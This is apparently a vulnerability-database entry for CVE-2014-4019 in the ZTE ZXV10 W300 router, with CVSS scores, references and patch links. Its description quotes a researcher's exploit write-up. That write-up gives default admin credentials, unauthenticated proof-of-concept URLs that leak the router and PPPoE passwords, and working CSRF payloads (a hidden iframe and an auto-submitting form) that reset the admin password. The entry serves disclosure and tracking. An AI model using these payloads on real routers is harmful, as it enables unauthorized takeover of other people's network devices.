Sign-up

ID

VAR-202002-0775


CVE

CVE-2014-4019


TITLE

ZTE ZXV10 W300 Information leakage vulnerability in router firmware

Trust: 0.8

sources: JVNDB: JVNDB-2014-008937

DESCRIPTION

ZTE ZXV10 W300 router with firmware W300V1.0.0a_ZRD_LK stores sensitive information under the web root with insufficient access control, which allows remote attackers to read backup files via a direct request for rom-0. ZTE ZXV10 W300 There is an information leakage vulnerability in the router firmware.Information may be obtained. The ZTE WXV10 W300 is a wireless router device. ZTE WXV10 W300 routers are prone to the following security vulnerabilities: 1. An insecure-default-password vulnerability. 2. Multiple information disclosure vulnerabilities. 3. A cross-site request-forgery vulnerability. An attacker can leverage these issues to obtain sensitive information, gain unauthorized administrative access, perform unauthorized actions in the context of a logged-in user of the affected application. This may aid in further attacks. # Exploit Title: ZTE WXV10 W300 Multiple Vulnerabilities # Date: 17-05-2014 # Server Version: RomPager/4.07 UPnP/1.0 # Tested Routers: ZTE ZXV10 W300 # Firmware: W300V1.0.0a_ZRD_LK # ADSL Firmware: FwVer:3.11.2.175_TC3086 HwVer:T14.F7_5.0 # Tested on: Kali Linux x86_64 # Exploit Author: Osanda Malith Jayathissa (@OsandaMalith) # Original write-up:https://osandamalith.wordpress.com/2014/06/10/zte-and-tp-link-rompager-dos/ #1| Default Password Being Used (CVE-2014-4018) ------------------------------------------------ In ZTE routers the username is a constant which is "admin" and the password by default is "admin" #2| ROM-0 Backup File Disclosure (CVE-2014-4019) ------------------------------------------------- The rom-0 backup file contains sensitive information such as the router password. There is a disclosure in which anyone can download that file without any authentication by a simple GET request. POC: http://192.168.1.1/rom-0 You can find the router password using my rom-0 configuration decompressor. http://packetstormsecurity.com/files/127049/ZTE-TP-Link-ZynOS-Huawei-rom-0-Configuration-Decompressor.html #3| PPPoE/PPPoA Password Disclosure in tc2wanfun.js (CVE-2014-4154) --------------------------------------------------------------------- If you look at the frame source in the "Internet" tab under the "Interface Setup" you can see this doLoad function in line 542 which fetches the password and displays it there. The frame URI is /basic/home_wan.htm. function doLoad() { var value = document.forms[0].wanTypeRadio[2].checked; doEnable(); QosCheck(); WANChkIdleTimeT(); if (value) pppStaticCheck(); LockWhenPVC0(); LockPVC(); if(document.forms[0].wan_PPPPassword != null) { document.forms[0].wan_PPPPassword.value = pwdppp; } } The "pwdpp" is loaded from an external file which you can see at the bottom of the page. <script language="javascript" src="/basic/tc2wanfun.js"></script> Once the user authenticates the router till another successful restart the password is written in that external JS file. POC: http://192.168.1.1/basic/tc2wanfun.js #4| Admin Password Manipulation CSRF (CVE-2014-4155) ----------------------------------------------------- You can change the password to blank by requesting /Forms/tools_admin_1 with a GET requesting containing HTTP basic authentication. POC: <iframe src="http://192.168.1.1/Forms/tools_admin_1" width="0" height="0"></iframe> If you send something like above to the victim, he will be prompted for the login and once he enter his credentials, his password will be immediately changed to a blank password. Ofcourse since there is no XSRF token in the request you change the password as you wish. POC: <html> <body> <form name="exploit" action="http://192.168.1.1/Forms/tools_admin_1" method="POST"> <input type="hidden" name="uiViewTools&#95;Password" value="your_passwd" /> <input type="hidden" name="uiViewTools&#95;PasswordConfirm" value="your_passwd" /> <script>document.exploit.submit(); </script> </form> </body> </html> #5| Denial of Service ----------------------- You can see my previous post about this vulnerability and the exploit. https://osandamalith.wordpress.com/2014/06/10/zte-and-tp-link-rompager-dos/ http://www.osvdb.org/show/osvdb/108076 http://packetstormsecurity.com/files/127076/ZTE-TP-Link-RomPager-Denial-Of-Service.html http://www.exploit-db.com/exploits/33737

Trust: 2.52

sources: NVD: CVE-2014-4019 // JVNDB: JVNDB-2014-008937 // CNVD: CNVD-2014-03843 // BID: 68082 // PACKETSTORM: 127129

IOT TAXONOMY

category:['Network device']sub_category: -

Trust: 0.6

sources: CNVD: CNVD-2014-03843

AFFECTED PRODUCTS

vendor:ztemodel:zxv10 w300scope:eqversion:w300v1.0.0a_zrd_lk

Trust: 1.8

vendor:ztemodel:zxv10 w300 router v1.0.0a zrd lkscope: - version: -

Trust: 0.6

vendor:ztemodel:wxv10 w300scope:eqversion:0

Trust: 0.3

sources: CNVD: CNVD-2014-03843 // BID: 68082 // JVNDB: JVNDB-2014-008937 // NVD: CVE-2014-4019

CVSS

SEVERITY

CVSSV2

CVSSV3

nvd@nist.gov: CVE-2014-4019
value: HIGH

Trust: 1.0

NVD: JVNDB-2014-008937
value: HIGH

Trust: 0.8

CNVD: CNVD-2014-03843
value: MEDIUM

Trust: 0.6

CNNVD: CNNVD-202002-1026
value: HIGH

Trust: 0.6

nvd@nist.gov: CVE-2014-4019
severity: MEDIUM
baseScore: 5.0
vectorString: AV:N/AC:L/AU:N/C:P/I:N/A:N
accessVector: NETWORK
accessComplexity: LOW
authentication: NONE
confidentialityImpact: PARTIAL
integrityImpact: NONE
availabilityImpact: NONE
exploitabilityScore: 10.0
impactScore: 2.9
acInsufInfo: NONE
obtainAllPrivilege: NONE
obtainUserPrivilege: NONE
obtainOtherPrivilege: NONE
userInteractionRequired: NONE
version: 2.0

Trust: 1.0

NVD: JVNDB-2014-008937
severity: MEDIUM
baseScore: 5.0
vectorString: AV:N/AC:L/AU:N/C:P/I:N/A:N
accessVector: NETWORK
accessComplexity: LOW
authentication: NONE
confidentialityImpact: PARTIAL
integrityImpact: NONE
availabilityImpact: NONE
exploitabilityScore: NONE
impactScore: NONE
acInsufInfo: NONE
obtainAllPrivilege: NONE
obtainUserPrivilege: NONE
obtainOtherPrivilege: NONE
userInteractionRequired: NONE
version: 2.0

Trust: 0.8

CNVD: CNVD-2014-03843
severity: MEDIUM
baseScore: 5.0
vectorString: AV:N/AC:L/AU:N/C:P/I:N/A:N
accessVector: NETWORK
accessComplexity: LOW
authentication: NONE
confidentialityImpact: PARTIAL
integrityImpact: NONE
availabilityImpact: NONE
exploitabilityScore: 10.0
impactScore: 2.9
acInsufInfo: NONE
obtainAllPrivilege: NONE
obtainUserPrivilege: NONE
obtainOtherPrivilege: NONE
userInteractionRequired: NONE
version: 2.0

Trust: 0.6

nvd@nist.gov: CVE-2014-4019
baseSeverity: HIGH
baseScore: 7.5
vectorString: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
attackVector: NETWORK
attackComplexity: LOW
privilegesRequired: NONE
userInteraction: NONE
scope: UNCHANGED
confidentialityImpact: HIGH
integrityImpact: NONE
availabilityImpact: NONE
exploitabilityScore: 3.9
impactScore: 3.6
version: 3.1

Trust: 1.0

NVD: JVNDB-2014-008937
baseSeverity: HIGH
baseScore: 7.5
vectorString: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
attackVector: NETWORK
attackComplexity: LOW
privilegesRequired: NONE
userInteraction: NONE
scope: UNCHANGED
confidentialityImpact: HIGH
integrityImpact: NONE
availabilityImpact: NONE
exploitabilityScore: NONE
impactScore: NONE
version: 3.0

Trust: 0.8

sources: CNVD: CNVD-2014-03843 // JVNDB: JVNDB-2014-008937 // CNNVD: CNNVD-202002-1026 // NVD: CVE-2014-4019

PROBLEMTYPE DATA

problemtype:CWE-200

Trust: 1.8

sources: JVNDB: JVNDB-2014-008937 // NVD: CVE-2014-4019

THREAT TYPE

remote

Trust: 0.6

sources: CNNVD: CNNVD-202002-1026

TYPE

information disclosure

Trust: 0.6

sources: CNNVD: CNNVD-202002-1026

CONFIGURATIONS

sources:
            
            
            JVNDB: JVNDB-2014-008937

PATCH
title:Top Pageurl:http://www.zte.co.jp/
Trust: 0.8
title:ZTE WXV10 W300 Backup File Disclosure Vulnerability Patchurl:https://www.cnvd.org.cn/patchInfo/show/46659
Trust: 0.6
title:ZTE ZXV10 W300 router Security vulnerabilitiesurl:http://123.124.177.30/web/xxk/bdxqById.tag?id=110762
Trust: 0.6
sources:
            
            
            CNVD: CNVD-2014-03843 // 
            
            
            
            JVNDB: JVNDB-2014-008937 // 
            
            
            
            CNNVD: CNNVD-202002-1026

EXTERNAL IDS
db:NVDid:CVE-2014-4019
Trust: 3.4
db:PACKETSTORMid:127129
Trust: 3.1
db:EXPLOIT-DBid:33803
Trust: 1.6
db:OSVDBid:102668
Trust: 1.6
db:BIDid:68082
Trust: 0.9
db:JVNDBid:JVNDB-2014-008937
Trust: 0.8
db:CNVDid:CNVD-2014-03843
Trust: 0.6
db:CNNVDid:CNNVD-202002-1026
Trust: 0.6
db:EXPLOIT-DBid:33737
Trust: 0.1
db:OSVDBid:108076
Trust: 0.1
sources:
            
            
            CNVD: CNVD-2014-03843 // 
            
            
            
            BID: 68082 // 
            
            
            
            JVNDB: JVNDB-2014-008937 // 
            
            
            
            PACKETSTORM: 127129 // 
            
            
            
            CNNVD: CNNVD-202002-1026 // 
            
            
            
            NVD: CVE-2014-4019

REFERENCES
url:http://packetstormsecurity.com/files/127129/zte-wxv10-w300-disclosure-csrf-default.html
Trust: 2.4
url:http://www.osvdb.org/102668
Trust: 1.6
url:https://osandamalith.wordpress.com/2014/06/15/zte-wxv10-w300-multiple-vulnerabilities/
Trust: 1.6
url:http://www.exploit-db.com/exploits/33803
Trust: 1.6
url:https://nvd.nist.gov/vuln/detail/cve-2014-4019
Trust: 1.5
url:https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2014-4019
Trust: 0.8
url:http://packetstormsecurity.com/files/127129/ztewxv10-defaultdisclosecsrfdos.txt
Trust: 0.6
url:http://wwwen.zte.com.cn/en/
Trust: 0.3
url:http://packetstormsecurity.com/files/127049/zte-tp-link-zynos-huawei-rom-0-configuration-decompressor.html
Trust: 0.1
url:http://192.168.1.1/basic/tc2wanfun.js
Trust: 0.1
url:http://192.168.1.1/rom-0
Trust: 0.1
url:http://packetstormsecurity.com/files/127076/zte-tp-link-rompager-denial-of-service.html
Trust: 0.1
url:http://www.osvdb.org/show/osvdb/108076
Trust: 0.1
url:https://nvd.nist.gov/vuln/detail/cve-2014-4154
Trust: 0.1
url:https://nvd.nist.gov/vuln/detail/cve-2014-4155
Trust: 0.1
url:https://osandamalith.wordpress.com/2014/06/10/zte-and-tp-link-rompager-dos/
Trust: 0.1
url:http://192.168.1.1/forms/tools_admin_1"
Trust: 0.1
url:https://nvd.nist.gov/vuln/detail/cve-2014-4018
Trust: 0.1
url:http://www.exploit-db.com/exploits/33737
Trust: 0.1
sources:
            
            
            CNVD: CNVD-2014-03843 // 
            
            
            
            BID: 68082 // 
            
            
            
            JVNDB: JVNDB-2014-008937 // 
            
            
            
            PACKETSTORM: 127129 // 
            
            
            
            CNNVD: CNNVD-202002-1026 // 
            
            
            
            NVD: CVE-2014-4019

CREDITS
Osanda Malith
Trust: 0.4
sources:
            
            
            BID: 68082 // 
            
            
            
            PACKETSTORM: 127129

SOURCES
db:CNVDid:CNVD-2014-03843
db:BIDid:68082
db:JVNDBid:JVNDB-2014-008937
db:PACKETSTORMid:127129
db:CNNVDid:CNNVD-202002-1026
db:NVDid:CVE-2014-4019

LAST UPDATE DATE
2024-11-23T21:55:20.187000+00:00

SOURCES UPDATE DATE
db:CNVDid:CNVD-2014-03843date:2014-06-24T00:00:00
db:BIDid:68082date:2014-06-17T00:00:00
db:JVNDBid:JVNDB-2014-008937date:2020-03-10T00:00:00
db:CNNVDid:CNNVD-202002-1026date:2023-05-15T00:00:00
db:NVDid:CVE-2014-4019date:2024-11-21T02:09:20.863

SOURCES RELEASE DATE
db:CNVDid:CNVD-2014-03843date:2014-06-24T00:00:00
db:BIDid:68082date:2014-06-17T00:00:00
db:JVNDBid:JVNDB-2014-008937date:2020-03-10T00:00:00
db:PACKETSTORMid:127129date:2014-06-17T23:04:35
db:CNNVDid:CNNVD-202002-1026date:2020-02-20T00:00:00
db:NVDid:CVE-2014-4019date:2020-02-20T18:15:11.403